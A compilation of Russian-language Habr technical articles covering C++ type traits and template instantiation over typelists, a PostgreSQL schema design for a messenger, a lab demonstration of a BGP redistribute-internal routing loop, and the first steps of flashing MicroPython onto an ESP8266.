TEST_IS_FUNCTION(int const &, false);
TEST_IS_FUNCTION(void(...), true);
TEST_IS_FUNCTION(int S::*, false);
TEST_IS_FUNCTION(void, false);
TEST_IS_FUNCTION(void const, false);
}
```
[Здесь](https://github.com/wanderhq/ct_examples/blob/master/src/is_function_1.cpp) можно посмотреть полный код примера и теста, а [здесь](http://melpon.org/wandbox/permlink/LBmut1UsZuTzbNm2) запустить. Кстати, этот код работает также и для С++11. Тестировалось на GCC 4.4.x – 6.0, Clang 3.0 – 3.9, VS 2013 и VS 2015. Есть компиляторы, которые считают добавление указателя к `F` c *cv-qualifier-seq* верной подстановкой (например icc 13.x). На этих компиляторах проверка работать не будет.
Реализация №2, соответствующая стандарту
----------------------------------------
Вспомним [8.3.4/1](#8_3_4_1). Там говорилось, что функция — один из немногих типов, массив которых нельзя создать. Раз с предыдущим способом не все однозначно, может быть здесь нас ждет бóльшая удача? Давайте еще раз перечислим массивы каких типов мы не можем создать:
1. ссылки
2. `void`
3. абстрактные классы
4. функции
Итак, нашу задачу теперь можно разбить на два этапа. Отсеять остальные типы с подобным поведением и написать SFINAE-проверку, определяющую можно ли создать массив заданного типа. Для начала давайте отсеем абстрактные классы. Хотя проще всего отсеять все классы сразу. Для этого нам понадобится метафункция:
```
template
struct is\_class;
```
Теперь нам нужно убрать из рассмотрения ссылки и void. Используем для этого следующие два шаблона:
```
template
struct is\_lvalue\_reference;
template
struct is\_void;
```
Вроде бы все, но чего-то не хватает. В самом деле, есть еще один тип, который не может быть элементом массива — это *array of unknown bound* (массивы неизвестного размера `T[]`). Его нам тоже нужно отсеять. В принципе, можно не мучиться и отсеивать сразу все массивы.
```
template
struct is\_array;
```
Реализацию этих метафункций можно найти [здесь](https://github.com/wanderhq/ct_examples/blob/master/src/ct/type_traits.h), или взять, например, из boost.
Теперь пришло время сформировать основной шаблон:
```
template
struct is\_function
{
private:
template
static char (& check\_is\_function( ... ) )[2];
template
static char (& check\_is\_function( F (\*)[1] ) )[1];
public:
enum
{
value = !is\_class::value
&& !is\_void::value
&& !is\_lvalue\_reference::value
&& !is\_array::value
&& (sizeof( check\_is\_function(0) ) - 1)
};
};
```
Проверку, может ли являться тип элементом массива, мы организуем через определение типа «указатель на массив», с элементами тестируемого типа в качестве параметра функции `check_is_function`. Если подстановка неуспешна, значит тип `F` является функцией.
В качестве теста возьмем предыдущий набор из [реализации 1](#impl_1). Полный код можно посмотреть [здесь](https://github.com/wanderhq/ct_examples/blob/master/src/is_function_2.cpp), а запустить [здесь](http://melpon.org/wandbox/permlink/Ud8ffaSttt2kzxWy). Эта реализация полностью соответствует стандарту и скорее всего будет работать на большинстве компиляторов. Этот код также работает и для С++11, нужно только дополнительно отсеивать rvalue-ссылки.
Вместо заключения
-----------------
1) Я отправил три багрепорта насчет нелегального продвижения функции с *cv-qualifier-seq* до указателя:
В [поддержку Clang](https://llvm.org/bugs/show_bug.cgi?id=26685).
В [поддержку GCC](https://gcc.gnu.org/bugzilla/show_bug.cgi?id=69898).
В [поддержку VS](https://connect.microsoft.com/VisualStudio/feedback/details/2389057).
Как уже говорилось, я не уверен на 100%, но это единственный способ узнать мнение разработчиков по этому вопросу.
2) Полный код, который находится на моем [гитхабе](https://github.com/wanderhq/ct_examples), немного отличается от приведенного в статье в лучшую сторону. Здесь были намеренно опущены некоторые детали и правила хорошего тона.
**2.1) Меня попросили подробнее описать типы функций с cv-qialifier-seq.**Совершенно ясно, что такой тип не может служить для объявления свободной функции, т.к. *cv-qialifier-seq* относится к this (см. 9.3.1/3).
Так в каких же ситуациях это работает? Стандарт разрешает это для следующих случаев:
**8.3.5/7**
> A typedef of a function type whose declarator includes a cv-qualifier-seq shall be used
>
> only to declare the function type for a nonstatic member function, to declare the function type to which a
>
> pointer to member refers, or to declare the top-level function type of another function typedef declaration.
>
> [Example:
> ```
> typedef int FIC(int) const;
> FIC f; // ill-formed: does not declare a member function
> struct S {
> FIC f; // OK
> };
> FIC S::*pm = &S::f; // OK
>
> ```
> —end example]
Т.е. можно с помощью typedef типа функции с *cv-qualifier-seq*:* объявлять функции-члены,
* сформировать указатель на функцию-член и
* использовать его в качестве типа верхнего уровня в typedef декларации другого типа функции.
Последний случай довольно туманный (что имеется в виду под another function?). Для сравнения приведу цитату из последнего черновика:
**8.3.5/6**
> A function type with a cv-qualifier-seq or a ref-qualifier (including a type named by typedef-name (7.1.3, 14.1)) shall appear only as:
>
> (6.1) — the function type for a non-static member function,
>
> (6.2) — the function type to which a pointer to member refers,
>
> (6.3) — the top-level function type of a function typedef declaration or alias-declaration,
>
> (6.4) — the type-id in the default argument of a type-parameter (14.1), or
>
> (6.5) — the type-id of a template-argument for a type-parameter (14.3.1).
>
> [ Example:
> ```
> typedef int FIC(int) const;
> FIC f; // ill-formed: does not declare a member function
> struct S {
> FIC f; // OK
> };
> FIC S::*pm = &S::f; // OK
>
> ```
> — end example ]
Согласитесь, это намного более понятно (обратите внимание на 6.3, теперь он легализует использование *cv-qualifier-seq* в `typedef` декларации типа функции верхнего уровня *и только*, никаких another function). То, что такой тип сейчас можно использовать в качестве параметра функции, и есть предмет багрепортов, которые я сделал. Кроме этого, в этом случае эти типы будут продвинуты до указателя, а это тоже запрещено ([8.3.1/4](#8_3_1_4)).
Сравнить изменения можно [здесь](http://wg21.cmeerw.net/cwg/issue1417). Также возможно кому-то будет интересен вот [этот материал](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2015/p0172r0.html).
3) Спасибо за внимание :) | https://habr.com/ru/post/277727/ | null | ru | null |
# Инстанциирование шаблонов функций по списку типов (Часть 1)
Случалось ли Вам писать шаблон функции, который должен быть инстанциирован для определённого набора типов и больше ни для чего? Если нет, то эта статья врядли покажется Вам интересной. Но если Вы всё ещё здесь, то тогда начнём.
Cтатья будет состоять из двух частей. В первой части будет описана проблема и представлено её первичное, немного кривоватое, решение. Вторая часть будет посвящена усовершенствованию и обобщению изложенного решения.
Первым делом опишем проблему. Представьте себе, Вы обьявляете шаблон функции в заголовочном файле. Если шаблон должен быть потенциально пригоден для всего, что только можно, то и определить его нужно здесь же, в заголовочном файле. Это влечёт за собой сквозные зависимости, увеличение времени компиляции и срач в заголовочном файле. Но это всё же неизбежность. Конечно, можно определить шаблон в другом заголовочном файле и включить его внизу файла с обьявлением. Это избавит Вас от третьей проблемы, но не избавит от первых двух. Теперь обратная ситуация, когда шаблон должен быть использован(инстанциирован) только для парочки конкретных типов. Тогда вы смело переносите определение в исходник и явно инстанциируете Ваш шаблон для каждого отдельного типа. Немного трудоёмко в сопровождении, но всё же лучше чем гадить в заголовочном.
Наша ситуация находится где-то посередине. Есть шаблон функции, и он должен быть инстанциирован для конкретного списка типов, который где-то у Вас в проекте увековечен с помощью typedef'а. Ну, например:
```
typedef TypeList MyTypeList.
```
О том, что такое список типов можно почитать у А.Александреску в «Современное проектирование на С++», а пример реализации — [здесь](http://loki-lib.sourceforge.net/html/a00681.html).
Под катом самопальная имплементация(такая же как и у тысяч других, наверное). Она, мне лично, больше нравится, так как позволяет писать
`typedef TypeList MyTypeList;`
вместо классической записи
`typedef TypeList>>> MyTypeList;`
```
struct EmptyList{};
template
struct TypeList
{
typedef Head head\_t;
typedef TypeList tail\_t;
};
template
struct TypeList
{
typedef Head head\_t;
typedef EmptyList tail\_t;
};
```
Вернёмся к теме. У Вас в проекте могут находиться пятьдесят разных шаблонов функций, и каждый из них должен быть инстанциирован только для этого вездесущего списка типов. Как же поступить лучше:
1) Определить шаблон в заголовочном файле — это пораженческий настрой.
2) Определить шаблон в исходнике и специализировать его вручную для всех типов из списка… ага, а потом исправлять в 50-ти местах, если список увеличится, уменьшится или просто изменится.
Оба варианта плохи. Цель этой статьи показать, как можно определить шаблон в исходнике и избавиться от ручного инстанциирования для каждого типа. Чтобы цель стала немного понятней и пробудить у Вас аппетит, просто приведу конечный результат. Но о том, как он реализован, будет рассказано только в следующей части статьи.
```
-------------------------------- typelists.h этот файл Вы уже видели выше --------------------------------
#pragma once
struct EmptyList{};
template
struct TypeList
{
typedef Head head\_t;
typedef TypeList tail\_t;
};
template
struct TypeList
{
typedef Head head\_t;
typedef EmptyList tail\_t;
};
typedef TypeList MyTypeList;
..... а ещё тут будет всякая магия, но не сегодня ...
-------------------------------- myclass.h --------------------------------
#pragma once
class MyClass
{
public:
template
void f(T x);
};
-------------------------------- myclass.cpp --------------------------------
#include "templateclass.h"
#include "typelist.h"
#include
namespace
{
InstantiateMemFunc(MyClass, f, MyTypeList) // (\*)
}
template
void MyClass::f(T x)
{
std::cout<< x << "\n";
}
-------------------------------- main.cpp --------------------------------
#include
#include "myclass.h"
int main()
{
MyClass tc;
tc.f(3);
tc.f(2.0);
tc.f(true);
tc.f('a');
tc.f("hello world");
return 0;
}
```
Надеюсь, теперь стало понятней, что есть проблема и что есть цель. Заметим, что обычно нам бы пришлось вставить следующий код в исходник myclass.cpp, чтобы данная программа смогла скомпоноваться:
```
template<> void MyClass::f(int);
template<> void MyClass::f(double);
template<> void MyClass::f(bool);
template<> void MyClass::f(char);
template<> void MyClass::f(const char\*);
```
Здесь уже пусть каждый сам судит, что ему больше нравится, это или строчка со звёздной в myclass.cpp.
Остаток первой части статьи будет посвящен решению инстанциирования шаблона для списка типов в исходном файле. Единственное, чем будет хорошо первое решение — это тем, что оно будет работать. А вторая часть статьи откроет завесу, что же стоит за выражением `InstantiateMemberFunction` в файле myclass.cpp.
Итак, перейдём к делу, нам нужно инстанциировать шаблон функции для списка типов. Разобьём задачу на две подзадачи:
1) как сделать что-то для списка типов и
2) как инстанциировать шаблон для одного конкретного типа.
Начнём с первой подзадачи. Здесь, кроме как стырить приём с рекурсией, ничего в голову не приходит. Ну, например, вот так:
```
template
struct SomethingDoer; // Класс, который что-то делает для списка типов
template<> struct SomethingDoer // Специализация для пустого списка
{
static void doSomething(...) // делает что-то для никого, т.е не делает ничего
{}
};
template
struct SomethingDoer > // Специализация для непустого списка.
{
static void doSomething()
{
... сделать что-то для головы списка типов - Head .... (\*\*)
SomethingDoer::tail\_t>::doSomething(); // рекурсивный вызов для хвоста списка типов
}
};
```
Теперь цель задача становится предельно ясна. В строке с двумя звёздочками нужно инстанциировать желаемую функцию для одного конкретного типа — Head.
Перейдём ко второй подзадаче.
Вопрос: Как можно инстанциировать шаблон функции? 5 секунд.
Время вышло. Ответ: явно и неявно.
Явно, как мы уже обсудили, — слишком трудоёмко в сопровождении. А что насчёт неявно?
Вопрос: назовите два способа неявного инстанциирования шаблона функции? 10 секунд. Ладно, ещё 10 десять секунд. Но теперь время вышло.
Ответ:
Способ первый — вызвать функцию так, чтобы параметр шаблона мог быть выведен либо указать его напрямую;
Способ второй — определить переменную имеющую тип инстанции шаблона и присвоить ей… ээээ, как бы это лучше сказать… адрес шаблона (да, я знаю, у шаблона нету адреса, но как это назвать по-другому я не знаю).
Пример лучше случайного набора слов:
```
template void f() {...}
template void g(T t) {...}
struct S
{
template
void memFunc(){...}
};
f(); // Способ первый
g(58); // Способ первый
void (\*gPtr)(int) = g; // Способ второй
void (S::\*memFuncPtr)() = &S::memFunc<Какой-то тип, например, int>; // Способ второй
```
О том какой способ нам лучше подойдёт сильно разсусоливать не буду, а то затянется надолго. Сразу скажу — второй подойдёт лучше.
Раз Вы со мной согласны, то давайте попытаемся инстанциировать шаблон вторым способом.
```
template
struct SomethingDoer >
{
typedef void (MyClass::\*MemFuncType)(Head);
static void doSomething()
{
MemFuncType x = &MyClass::f;
(void)(x); // чтобы компилятор не ныл, будто переменная не используется
SomethingDoer::tail\_t>::doSomething();
}
};
```
Вуаля, механизм инстанциирования шаблонов по списку типов создан… но ещё не приведён в действие. Представть себе, Вы написали вышеприведенное определение класса SomethingDoer вместе с его методом doSomething где-нибудь в безымянном пространстве имён файла-исходника, в данном случае в myclass.cpp. Будет ли тем самым шаблон MyClass::f(T) инстанциирован для желаемого списка типов? К сожалению, нет. Но как же заставить вышепреведенный код делать то, для чего он был создан. Да, очень просто. Нужно его вызвать:
```
SomethingDoer::instantiate();
```
Только вот где эту чудесную строчку написать? Там же в безымянном пространстве имён? Она ведь ничего не возвращает, её нельзя присвоить никакой переменной. Ладно, прийдётся завернуть:
```
struct Instantiator
{
Instantiator()
{
SomethingDoer::instantiate();
}
};
```
Я не знаю, какой у Вас компилятор, но gcc-4.8.1 должен этот код скомпилировать. А в режиме отладки, возможно и скомпоновать. Но не более того. Что же происходит в производственном режиме(release)? Всё, что не используется по делу, будет выкинуто к отрубям собачим. А по делу не используется как раз самое важное, а именно: локальная переменная `x` из метода `doSomething` и конструктор класса `Instantiator`. Но, это не проблема. Нужно просто убедить компилятор, что эти две вещи всё же очень важны. С `х` – всё просто. Можно, к примеру, обьявить переменную volatile, и пусть только компилятор посмеет с ней что-нибудь сделать. А с конструктором `Instantiator` – возьмём и обьявим переменную типа `Instantiator`.
Вот как будет теперь выглядеть наш исходник:
```
#include "myclass.h"
#include "typelist.h"
#include
namespace
{
template
struct SomethingDoer;
template<> struct SomethingDoer
{
static void doSomething(...)
{}
};
template
struct SomethingDoer >
{
typedef void (MyClass::\*MemFuncType)(Head);
static void doSomething()
{
volatile MemFuncType x = &MyClass::f;
(void)(x);
SomethingDoer::tail\_t>::doSomething();
}
};
template
struct Instantiator
{
Instantiator()
{
SomethingDoer::doSomething();
}
};
Instantiator a; // приводит механизм инстанциирования в действие.
}
template
void MyClass::f(T x)
{
std::cout<< x << "\n";
}
```
Вот и всё, с задачей минимум мы уже справились. Шаблон определён в исходнике вместо заголовочного файла и инстанциирован для списка типов. Все изменения в необходимом списке типов будут автоматически отражаться на механизме инстанциирования, и нам не прийдётся прописывать явные инстанции шаблона вручную, если список типов изменится. В глаза бросается только один малюсенький недостаточек: весь этот код – это полнейшее уродство, которое вызовет у Ваших коллег и у Вас самих десяток “вотэфаков” и “чзхней”, когда Вы откроете его месяцок спустя.
Прежде чем конкретизировать, чем же именно плохо данное решение, подведём промежуточные итоги, собрав весь накопившийся код в одном месте (под катом).
```
// myclass.h
#pragma once
class MyClass
{
public:
template
void f(T x);
};
// myclass.cpp
#include "templateclass.h"
#include "typelist.h"
#include
namespace
{
template
struct SomethingDoer;
template<> struct SomethingDoer
{
static void doSomething(...)
{}
};
template
struct SomethingDoer >
{
typedef void (MyClass::\*MemFuncType)(Head);
static void doSomething()
{
volatile MemFuncType x = &MyClass::f;
(void)(x);
SomethingDoer::tail\_t>::doSomething();
}
};
template
struct Instantiator
{
Instantiator()
{
SomethingDoer::doSomething();
}
};
Instantiator a; // приводит механизм инстанциирования в действие.
}
template
void MyClass::f(T x)
{
std::cout<< x << "\n";
}
// typelists.h
#pragma once
struct EmptyList{};
template
struct TypeList
{
typedef Head head\_t;
typedef TypeList tail\_t;
};
template
struct TypeList
{
typedef Head head\_t;
typedef EmptyList tail\_t;
};
typedef TypeList MyTypeList;
// main.cpp
#include
#include "myclass.h"
int main()
{
MyClass tc;
tc.f(3);
tc.f(2.0);
tc.f(true);
tc.f('a');
tc.f("hello world");
return 0;
}
```
Основным недостатком этого решения, помимо его уродства, является то, что оно частное. Мы инстанциировали шаблон одной конкретной функции одного конкретного класса. Для другого класса нам бы пришлось проделать всё тоже самое в другом исходнике. А если бы шаблонов было бы нескольно, то пришлось бы немного расширить метод `doSomething`, хотя это наименьшее из всех зол. Самым большим злом является то, что каждому пользователю прийдётся понимать, как это делается, ведь код механизма инстанциирования и код запуска этого механизма тесно переплетены между собой. Хорошо бы спрятать механизм, каким бы громоздким и запутанным он не был. Да так спрятать, чтобы пользователю было достаточно написать:
```
InstantiateMemFunc(MyClass, f, MyTypeList) // (*)
```
Но об этом мы поговорим во второй части. | https://habr.com/ru/post/235831/ | null | ru | null |
# БД мессенджера (ч.1): проектируем каркас базы
Как можно перевести бизнес-требования в конкретные структуры данных на примере проектирования «с нуля» базы для мессенджера.
* Часть 1: проектируем каркас базы
* [Часть 2: секционируем «наживую»](https://habr.com/ru/post/483170/)
Наша база будет не такой масштабной и распределенной, [как у ВКонтакте](https://habr.com/ru/company/vk/blog/342570/) или [Badoo](https://habr.com/ru/company/oleg-bunin/blog/340976/), а «чтобы было», но было хорошо — функционально, быстро и **умещалось на одном сервере** PostgreSQL — чтобы можно было развернуть отдельный экземпляр сервиса где-то на стороне, например.
Поэтому не будем затрагивать вопросы шардинга, репликации и геораспределенных систем, а сосредоточимся на схемных решениях внутри БД.
Шаг 1: Немного бизнес-специфики
-------------------------------
Наш обмен сообщениями мы будем проектировать не абстрактно, а встраивать в окружение [корпоративной соцсети](https://sbis.ru/help/work_in/sms/). То есть люди у нас не «просто переписываются», а общаются между собой в контексте решения определенных бизнес-задач.
А какие бывают задачи у бизнеса?.. Посмотрим на примере Василия — руководителя отдела разработки.
* *«Николай, вот по этой задаче патч нужен уже сегодня!»*
Значит, переписка может вестись в контексте какого-то **документа**.
* *«Коля, го вечером в доту?»*
То есть даже у одной пары собеседников общение одновременно может вестись **по разным темам**.
* *«Петр, Николай, посмотрите в аттаче прайс на новый сервер.»*
Так, у одного сообщения может быть **несколько адресатов**. При этом сообщение может содержать **прикрепленные файлы**.
* *«Семен, и ты тоже взгляни.»*
И должна быть возможность в уже существующую переписку **пригласить нового участника**.
Остановимся пока на этом перечне «очевидных» потребностей.
> Без понимания прикладной специфики задачи и задаваемых ей ограничений, спроектировать **эффективную** схему БД для ее решения практически невозможно.
Шаг 2: Минимальная логическая схема
-----------------------------------
Схемно пока все получается очень похоже на email-переписку — традиционный инструмент ведения бизнеса. Таки да, «алгоритмически» многие задачи бизнеса похожи друг на друга, поэтому и инструменты для их решения будут структурно сходны.
Давайте зафиксируем уже получившуюся логическую схему отношений сущностей. Для простоты понимания нашей модели воспользуемся самым примитивным вариантом отображения [ER-модели](https://ru.wikipedia.org/wiki/ER-%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C) без усложнений UML или IDEF-нотаций:
В нашем примере персона, документ и бинарное «тело» файла — это «внешние» сущности, которые самостоятельно существуют и без нашего сервиса. Поэтому просто будем воспринимать их в дальнейшем как некоторые ссылки «куда-то» по UUID.
> Рисуйте **схемы как можно проще** — большинство тех, кому вы их будете показывать, не являются экспертами в чтении UML/IDEF. Но — рисуйте обязательно.
Шаг 3: Набрасываем структуру таблиц
-----------------------------------
**Про имена таблиц и полей**К «русским» названиям полей и таблиц можно относиться по-разному, но это дело вкуса. Поскольку [у нас в «Тензоре»](https://tensor.ru/about/career/vacancies) нет разработчиков-иностранцев, а PostgreSQL позволяет нам давать названия хоть иероглифами, если они заключены в кавычки, то мы предпочитаем именовать объекты однозначно-понятно, чтобы не возникало разночтений.
Поскольку сообщения у нас пишут много людей сразу, часть из них вообще могут делать это в оффлайн-режиме, то самый простой вариант — **использовать UUID в качестве идентификаторов** не только для внешних сущностей, но и для всех объектов внутри нашего сервиса. Причем генерировать их можно даже на клиентской стороне — это поможет нам поддержать отправку сообщений при кратковременной недоступности БД, а вероятность коллизии крайне мала.
Черновая структура таблиц в нашей базе примет вот такой вид:
**Таблицы : RU**
```
CREATE TABLE "Тема"(
"Тема"
uuid
PRIMARY KEY
, "Документ"
uuid
, "Название"
text
);
CREATE TABLE "Сообщение"(
"Сообщение"
uuid
PRIMARY KEY
, "Тема"
uuid
, "Автор"
uuid
, "ДатаВремя"
timestamp
, "Текст"
text
);
CREATE TABLE "Адресат"(
"Сообщение"
uuid
, "Персона"
uuid
, PRIMARY KEY("Сообщение", "Персона")
);
CREATE TABLE "Файл"(
"Файл"
uuid
PRIMARY KEY
, "Сообщение"
uuid
, "BLOB"
uuid
, "Имя"
text
);
```
**Таблицы : EN**
```
CREATE TABLE theme(
theme
uuid
PRIMARY KEY
, document
uuid
, title
text
);
CREATE TABLE message(
message
uuid
PRIMARY KEY
, theme
uuid
, author
uuid
, dt
timestamp
, body
text
);
CREATE TABLE message_addressee(
message
uuid
, person
uuid
, PRIMARY KEY(message, person)
);
CREATE TABLE message_file(
file
uuid
PRIMARY KEY
, message
uuid
, content
uuid
, filename
text
);
```
> Самое простое при описании формата — начинать «раскручивать» граф связей **от таблиц, которые не ссылаются** сами ни на кого.
Шаг 4: Выясняем неочевидные потребности
---------------------------------------
Все, мы спроектировали базу, в которую можно отлично писать и ***как-то*** читать.
Давайте поставим себя на место пользователя нашего сервиса — что мы захотим делать с его помощью?
* *Последние сообщения*
Это **хронологически отсортированный** по различным признакам реестр «моих» сообщений. Где я один из адресатов, где я автор, где мне написали, а я не ответил, где не ответили мне, ...
* *Участники переписки*
Кто вообще участвует в этом длинном-длинном чате?
Наша структура позволяет решить обе эти задачи «вообще», но быстро — нет. Проблема в том, что для сортировки в рамках первой задачи **невозможно создать индекс**, подходящий для каждого из участников (и придется извлекать все записи), а для решения второй необходимо **извлекать все-все сообщения** по теме.
> Непредусмотренные пользовательские задачи могут поставить жирный **крест на производительности**.
Шаг 5: Разумная денормализация
------------------------------
Обе наши проблемы помогут решить дополнительные таблицы, в которые мы будем **дублировать часть данных**, необходимых для формирования на них подходящих к нашим задачам индексов.
**Таблицы : RU**
```
CREATE TABLE "РеестрСообщений"(
"Владелец"
uuid
, "ТипРеестра"
smallint
, "ДатаВремя"
timestamp
, "Сообщение"
uuid
, PRIMARY KEY("Владелец", "ТипРеестра", "Сообщение")
);
CREATE INDEX ON "РеестрСообщений"("Владелец", "ТипРеестра", "ДатаВремя" DESC);
CREATE TABLE "УчастникТемы"(
"Тема"
uuid
, "Персона"
uuid
, PRIMARY KEY("Тема", "Персона")
);
```
**Таблицы : EN**
```
CREATE TABLE message_registry(
owner
uuid
, registry
smallint
, dt
timestamp
, message
uuid
, PRIMARY KEY(owner, registry, message)
);
CREATE INDEX ON message_registry(owner, registry, dt DESC);
CREATE TABLE theme_participant(
theme
uuid
, person
uuid
, PRIMARY KEY(theme, person)
);
```
Здесь мы применили два типичных подхода, применяемых при создании вспомогательных таблиц:
* **Умножение записей**
Формируем по одной исходной записи сообщения сразу несколько записей-следствий в разные виды реестров для разных владельцев — как для отправителя, так и для получателя. Зато каждый из реестров теперь ложится на индекс — ведь в типовом случае мы захотим видеть только первую страницу.
* **Уникализация записей**
При каждой отправке сообщения внутри конкретной темы достаточно проверить, существует ли уже такая запись. Если нет — добавляем ее в наш «словарь».
В следующей части статьи речь пойдет про [внедрение секционирования](https://habr.com/ru/post/483170/) в структуру нашей базы. | https://habr.com/ru/post/483176/ | null | ru | null |
# BGP redistribute-internal: ещё один рецепт петли маршрутизации
Иногда можно наткнуться на такое поведение по умолчанию, обнаружение и понимание которого требует определённой медитации. Для меня одной из таких особенностей была команда **“bgp redistribute-internal”**. Первоначально назначение этой функции не вызывало у меня каких-либо вопросов, как и то, что её использование может привести к петлям маршрутизации; раз знающие люди написали, что может, значит, так оно и есть. Однако спустя неопределённое время в голове начало скрестись желание получить наглядный пример такой петли. Беглый поиск, впрочем, не дал ничего конкретного, только [упоминание в документации:](https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/8606-redist.html)
> “***Note:*** *By default, only eBGP-learned information is candidate to be redistributed into IGP when the* ***redistribute bgp*** *command is issued. The iBGP routes is not redistributed into IGP until the* ***bgp redistribute-internal*** *command is configured under the* ***router bgp*** *command. But precautions must be taken in order to avoid loops within the Autonomous System when iBGP routes are redistributed into IGP.”*
>
> *(Вольный перевод: по умолчанию только внешние BGP маршруты можно рассматривать как кандидаты для импорта в IGP при использовании команды* ***redistribute bgp****. Внутренние BGP маршруты не являются такими кандидатами, пока не выполнена команда* ***bgp redistribute-internal*** *в режиме* ***router bgp.*** *Однако стоит соблюдать осторожность при использовании последней команды, чтобы избежать возникновения петель маршрутизации внутри автономной системы, когда внутренние BGP маршруты могут быть импортированы в IGP)*
>
>
Попробуем изобрести нужный нам пример петли. Рассмотрим следующую схему:
R1 объявляет 1.1.1.1/32 как внутренний маршрут; в то же время R2 суммаризует его до 1.1.1.0/24 и добавляет 1.1.1.1/32 в BGP:
```
R2#sho ip ro 1.1.1.1 longer-prefixes
1.0.0.0/32 is subnetted, 1 subnets
O 1.1.1.1 [110/2] via 192.168.12.1, 00:03:09, FastEthernet0/0
R2(config)#router ospf 1
R2(config-router)#area 0 range 1.1.1.0 255.255.255.0
R2(config-router)#router bgp 1
R2(config-router)#network 1.1.1.1 mask 255.255.255.255
```
Импортируем 1.1.1.1/32 из BGP в OSPF в зоне 1:
```
R4(config)#router ospf 1
R4(config-router)#redistribute bgp 1 subnets
```
Впрочем, ничего плохого не происходит:
```
R4#ping 1.1.1.1 source lo0
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:
Packet sent with a source address of 4.4.4.4
!!!!!
```
1.1.1.1/32 есть в таблице маршрутизации R4, однако OSPF не импортирует маршрут из BGP, несмотря на настройки. Изменим это поведение и понаблюдаем за происходящим:
```
R4(config-router)#router bgp 1
R4(config-router)#bgp redistribute-internal
R4#ping 1.1.1.1 source lo0
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:
Packet sent with a source address of 4.4.4.4
.....
Success rate is 0 percent (0/5)
```
Связность между R4 и R1 пропала. R3 теперь считает, что маршрут до 1.1.1.1/32 лежит через R4, который в свою очередь шлёт пакеты обратно – в сторону R2, что приводит к петле:
```
R4#traceroute 1.1.1.1 source lo0
Type escape sequence to abort.
Tracing the route to 1.1.1.1
VRF info: (vrf in name/id, vrf out name/id)
1 192.168.34.3 28 msec 36 msec 16 msec
2 192.168.34.4 24 msec 20 msec 16 msec
3 192.168.34.3 32 msec 40 msec 44 msec
4 192.168.34.4 44 msec 36 msec 40 msec
```
Несмотря на то что такой пример является искусственным, нужно внимательно относиться к функциональности, которая помечена вендором как «не рекомендуемая». Подобные грабли могут быть достаточно неочевидны в большой сети, однако негативный эффект не заставит себя ждать. В общем случае имеет смысл пересмотреть дизайн решения и использовать рекомендованные (другими словами, протестированные) способы использования той или иной технологии.
**Спасибо за рецензию:** Анастасии Куралёвой | https://habr.com/ru/post/556216/ | null | ru | null |
# Подготовка к программированию ESP8266 на micropython
Micropython — это реализация Python 3, написанная на C, которая оптимизирована для микроконтроллеров. Nodemcu v1.0 — самая удобная плата с микроконтроллером ESP8266 и поддержкой Wi-Fi. Комбинация её и micropython — это мощность, скорость и простота написания. Поскольку это мой первый опыт работы с micropython (и с МК в принципе), я столкнулся с рядом нюансов, способами решения которых я и хочу поделиться с читателем. Примеры будут для MacOS, однако они легко адаптируются под Linux и Windows.
[](https://habrahabr.ru/post/345912/)
Драйвер
-------
Сначала необходимо установить драйвер. Это несложно, здесь не буду останавливаться. Для MacOS я использовал [ch340g-ch34g-ch34x-mac-os-x-driver](https://github.com/adrianmihalko/ch340g-ch34g-ch34x-mac-os-x-driver)
Прошивка
--------
Теперь необходимо залить micropython прошивку на ваш ESP8266. Процесс подробно и качественно описан в [документации](https://docs.micropython.org/en/latest/esp8266/esp8266/tutorial/intro.html) micropython для ESP8266, поэтому я только кратко освещу основные пункты.
Скачиваем прошивку [здесь](http://micropython.org/download#esp8266). Рекомендую последний stable билд.
Устанавливаем esptool:
```
pip install esptool
```
Pip — это система управления пакетами для python. Если у вас нет pip или python в целом — сначала необходимо установить их.
Далее очищаем флеш-память устройства:
```
esptool.py --port /dev/ttyUSB0 erase_flash
```
И прошиваем:
```
esptool.py --port /dev/ttyUSB0 --baud 115200 write_flash --flash_size=detect 0 esp8266-20170108-v1.8.7.bin
```
Порт `/dev/ttyUSB0` нужно заменить на свой. Для MacOS можно просто подставить `/dev/$(ls /dev | grep cu.wchusbserial)` и нужный порт будет определён автоматически.
Например:
```
esptool.py --port /dev/$(ls /dev | grep cu.wchusbserial) erase_flash
```
Обратите внимание, я использую baud rate 115200 как стандартный для esp.
REPL
----
Отлично, теперь наш мк оснащен micropython’ом, а это означает, что к нему можно подключиться и выполнять команды в [REPL](https://docs.micropython.org/en/latest/esp8266/esp8266/tutorial/repl.html) (Read Evaluate Print Loop). По факту, это аналог командной строки интерпретатора классического Python. Подключиться можно через сериал порт или через WiFi. Подробная информация о использовании доступна [здесь](https://docs.micropython.org/en/latest/esp8266/esp8266/tutorial/repl.html), я же снабжу её несколькими комментариями.
Для MacOS удобно использовать picocom:
```
picocom /dev/$(ls /dev | grep cu.wchusbserial) -b115200
```
После выполнения команды, консоль перейдет в интерактивный режим.
Для выхода используйте Control-A, затем Control-X (не отжимая Control).
Автор утилиты активно отвечает на issues на гитхабе, для кого-то это может отыграть важную роль. Также, начиная с версии 3, добавлен неинтерактивный режим, что позволяет использовать picocom в написании своих скриптов.
Также можно использовать screen:
```
screen /dev/$(ls /dev | grep cu.wchusbserial) 115200
```
Для выхода: Control-A, Control-\
Перед переходом к программированию, рекомендую полностью пройти [туториал](https://docs.micropython.org/en/latest/esp8266/esp8266/tutorial/index.html), на это уйдет всего несколько часов, а польза будет ощутимой.
IDE
---
С REPL поигрались, диодом помигали, TCP сокеты использовали. Что дальше? Необходим быстрый способ доставки нашего кода на esp. Не будем же мы всё писать через REPL. На ум сразу же приходит IDE. Так я скачал [ESPlorer 0.2.0-rc6](http://esp8266.ru/esplorer-latest/?f=ESPlorer.zip). Поддержка micropython находится в активной разработке и, как я понял, была добавлена совсем недавно, в rc3. После некоторого времени, проведённого в этой IDE, я столкнулся с целым рядом багов, которые не дают нормально записывать файлы в flash и выполнять код. Я написал [issue](https://github.com/4refr0nt/ESPlorer/issues/67) на гитхаб и отложил ESPlorer до лучших времен. Для Windows есть несколько альтернатив: [espcut](http://espcut.com/index.html), [EsPy](https://github.com/jungervin/EsPy).
Код я решил писать в Sublime — тут всё просто и понятно. А как его доставлять на мк?
